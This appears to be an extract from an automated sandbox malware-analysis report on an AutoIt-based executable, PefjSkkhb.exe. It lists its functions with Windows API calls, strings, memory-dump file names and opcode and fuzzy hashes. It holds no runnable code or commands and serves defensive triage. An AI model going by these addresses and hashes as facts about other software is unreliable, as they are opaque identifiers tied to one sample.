C:\Users\user\AppData\Roaming\PefjSkkhb.exe, xrefs: 00007FF7C0E8A0D0

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Roaming\PefjSkkhb.exe
API String ID: 3307058713-2188861997
Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction ID: 50d9ed4898a93380c3c65fa0b0f2fc00ebe817ab84174fd7d3672b290160bd9b
Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction Fuzzy Hash: 95419E72A49BA285F715BF29E8440B9A7A4EF44BA4F984131E90E87755DF3CF481C3A0

Function 00007FF7C0EF9E08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

DestroyWindow.USER32 ref: 00007FF7C0EF9F43

Strings

static, xrefs: 00007FF7C0EF9E54

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$CreateDestroyMessageObjectSendStock
String ID: static
API String ID: 3467290483-2160076837
Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction ID: 54a2536cae38cb081b2f5995696e2fc37a264900ac61f5bf597a50f33cf08959
Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction Fuzzy Hash: 544100326486C2C6D670AF25E4407AEB7A1FB847A1F904135EBE943B59DF3CE481CB50

Function 00007FF7C0EE5E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EE61CC: WideCharToMultiByte.KERNEL32 ref: 00007FF7C0EE620C

inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF7C0EE37FB), ref: 00007FF7C0EE5E4D
htons.WSOCK32(?,?,?,?,?,?,?,00007FF7C0EE37FB), ref: 00007FF7C0EE5EDB

Strings

255.255.255.255, xrefs: 00007FF7C0EE5E6A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
Instruction ID: 94d9a51667174bd7c4f7bf35315c9ffcd40f44cd4809e46ec04ada5cdfea44f9
Opcode Fuzzy Hash: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
Instruction Fuzzy Hash: 0531DE63A58A4681EB10BF22D84027CB760FB54BA8F858532DE6E833A1DF3CF545C360

Function 00007FF7C0EE03C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7C0EE045A

Strings

, $, xrefs: 00007FF7C0EE0495
AUTOITCALLVARIABLE%d, xrefs: 00007FF7C0EE044A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3988819677-2584243854
Opcode ID: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
Instruction ID: f88c910800ea0b0acb28eed5b56fd9db21a9ad463def7d905c8c787911dfaf9a
Opcode Fuzzy Hash: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
Instruction Fuzzy Hash: 13316876B48A0695EB10FF61E4501ECA361FB447A4F904432DA1D97B99DF38F58AC3A0

Function 00007FF7C0EFB224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SetWindowPos.USER32 ref: 00007FF7C0EFB31B

Strings

SysTabControl32, xrefs: 00007FF7C0EFB278
, xrefs: 00007FF7C0EFB2FE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$CreateMessageObjectSendStock
String ID: $SysTabControl32
API String ID: 2080134422-3143400907
Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction ID: 08abf4a344b7828b38935e0024b160eb4b34214e73317c8078528a0866118d2c
Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction Fuzzy Hash: 60315C325087C1CAE760EF15E44475AB7A1F784BB4F544335EAA857BD8CB38E4818F50

Function 00007FF7C0E8DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7C0E8DCA2
GetFileType.KERNEL32 ref: 00007FF7C0E8DCB8

Strings

@, xrefs: 00007FF7C0E8DCE3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction ID: ecc5cd7126318b67e0bccde834585f3e8e46ebdbe962b31abc59e60bc59a68da
Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction Fuzzy Hash: E421C522A4CA9281EF64BF2D9490139E750EB85774F681335D66E877D4CF78F881D3A0

Function 00007FF7C0EFA0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

GetWindowRect.USER32 ref: 00007FF7C0EFA18B
GetSysColor.USER32 ref: 00007FF7C0EFA1B2

Strings

static, xrefs: 00007FF7C0EFA10B

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction ID: 1a7b4098c1b8ce42aa81960a86bd47576018b2d7365628e48f03422c85686718
Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction Fuzzy Hash: 68314B76A08781CBD724DF29E444B5AB7A5F7887A0F504239EB9943B98DB3CE841CF50

Function 00007FF7C0EF9868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SendMessageW.USER32 ref: 00007FF7C0EF994F
SendMessageW.USER32 ref: 00007FF7C0EF9963

Strings

Combobox, xrefs: 00007FF7C0EF9905

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Combobox
API String ID: 1025951953-2096851135
Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction ID: 6e46aa54500857d9207c0cd60890c15cacfac450afd9990257d3973089341d1b
Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction Fuzzy Hash: 12312E32609781CAE7709F15B444B5AB7A1F7857A0F904239EAA943B99CB3CD885CF50

Function 00007FF7C0EF9BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF7C0EF9CB6
SendMessageW.USER32 ref: 00007FF7C0EF9CCA

Strings

edit, xrefs: 00007FF7C0EF9C24

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction ID: b29fa6b517f851bb0e14fd6a3cb3e6c83fb55cfe4249926dcd157c8d0df015c1
Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction Fuzzy Hash: 14313E36A08781CAE770DF15E44475AB7A1F7847A0F544235EAAC83B98DB3CE881CF51

Function 00007FF7C0E8FD90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7C0E8FEA2

Strings

", xrefs: 00007FF7C0E8FE7B
pow, xrefs: 00007FF7C0E8FE91

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction ID: ef5e745b3958239973511500a6e7d4395ea08c7fbf453a1daaed71b4e61520fe
Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction Fuzzy Hash: 38218F72D1CAC587E370EF14E04066AFAA0FFDA364F601325F28946A55CBBDE0859B50

Function 00007FF7C0EBDDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC0730: GetClassNameW.USER32 ref: 00007FF7C0EC075B

SendMessageW.USER32 ref: 00007FF7C0EBDE7F

Strings

ComboBox, xrefs: 00007FF7C0EBDE0B
ListBox, xrefs: 00007FF7C0EBDE42

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
Instruction ID: 651ceda27a30747ffb5f92a8b7236372e097625bea3396896dc586f8ad291c03
Opcode Fuzzy Hash: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
Instruction Fuzzy Hash: 9111C372A4DA8181EA10FF11D4400A9A3A1FB95BB0F844631DAAC877D9DF3CF545C790

Function 00007FF7C0EDE708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF7C0EDE772
InternetSetOptionW.WININET ref: 00007FF7C0EDE7A4

Strings

<local>, xrefs: 00007FF7C0EDE749

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction ID: 034f81a943e375ae3b03ea0dad75436ac8e100aa3a8f57880d925729cdb56aed
Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction Fuzzy Hash: 3B11B626A1874182E791BF11E1043BDA261E780B68FE84036DA4D86794CF3DE882C7A0

Function 00007FF7C0EBDCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC0730: GetClassNameW.USER32 ref: 00007FF7C0EC075B

SendMessageW.USER32 ref: 00007FF7C0EBDD26

Strings

ComboBox, xrefs: 00007FF7C0EBDCB5
ListBox, xrefs: 00007FF7C0EBDCEA

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
Instruction ID: f1f984aa422c2798e709b79f16b3ef89dc09b50b90ab2f43711da559f28eb685
Opcode Fuzzy Hash: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
Instruction Fuzzy Hash: 1D116362A5DA8191EB10FF10E1511F9A360FF897A4FC44531EA8D87799EF2CF605CBA0

Function 00007FF7C0EBDD48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC0730: GetClassNameW.USER32 ref: 00007FF7C0EC075B

SendMessageW.USER32 ref: 00007FF7C0EBDDCE

Strings

ComboBox, xrefs: 00007FF7C0EBDD5D
ListBox, xrefs: 00007FF7C0EBDD92

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
Instruction ID: 243884d4dae9b072859c4147d11655363cbd4533e7ee2a3da1dd2dbdff8989b8
Opcode Fuzzy Hash: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
Instruction Fuzzy Hash: 60116321A4DA8151EF10FF10E1512F99350BF857A4F844631DA9D8778AEF2CF6058B90

Function 00007FF7C0EFFEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF7C0EFFF29
CloseHandle.KERNEL32 ref: 00007FF7C0EFFF3A

Strings

, xrefs: 00007FF7C0EFFF01

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-3916222277
Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction ID: 3acf39d5828a5522774c28360d52efb9e6dee78e2317750a384d32dfb6f9a8ec
Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction Fuzzy Hash: 82117032A0C7418AE710EF56F80456AF6A5FB847A8F844135EA4D87B65CF7DF490CB90

Function 00007FF7C0EBDEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC0730: GetClassNameW.USER32 ref: 00007FF7C0EC075B

SendMessageW.USER32 ref: 00007FF7C0EBDF26

Strings

ComboBox, xrefs: 00007FF7C0EBDEB5
ListBox, xrefs: 00007FF7C0EBDEEA

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
Instruction ID: 2806251b5e40bc70426fd786da4862d355cc98322e96408d387d308d18743773
Opcode Fuzzy Hash: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
Instruction Fuzzy Hash: 0F016521B5C94291EA20FF14E1511B9D361FF853A4FC44631E99D87B9ADF2CF608CB90

Function 00007FF7C0E915B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7C0E9158E

Part of subcall function 00007FF7C0E8FA90: _ctrlfp.LIBCMT ref: 00007FF7C0E8FACB
Part of subcall function 00007FF7C0E8FA90: _raise_exc.LIBCMT ref: 00007FF7C0E8FB37

Strings

tan, xrefs: 00007FF7C0E915BA
!, xrefs: 00007FF7C0E91576

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$tan
API String ID: 3384550415-2428968949
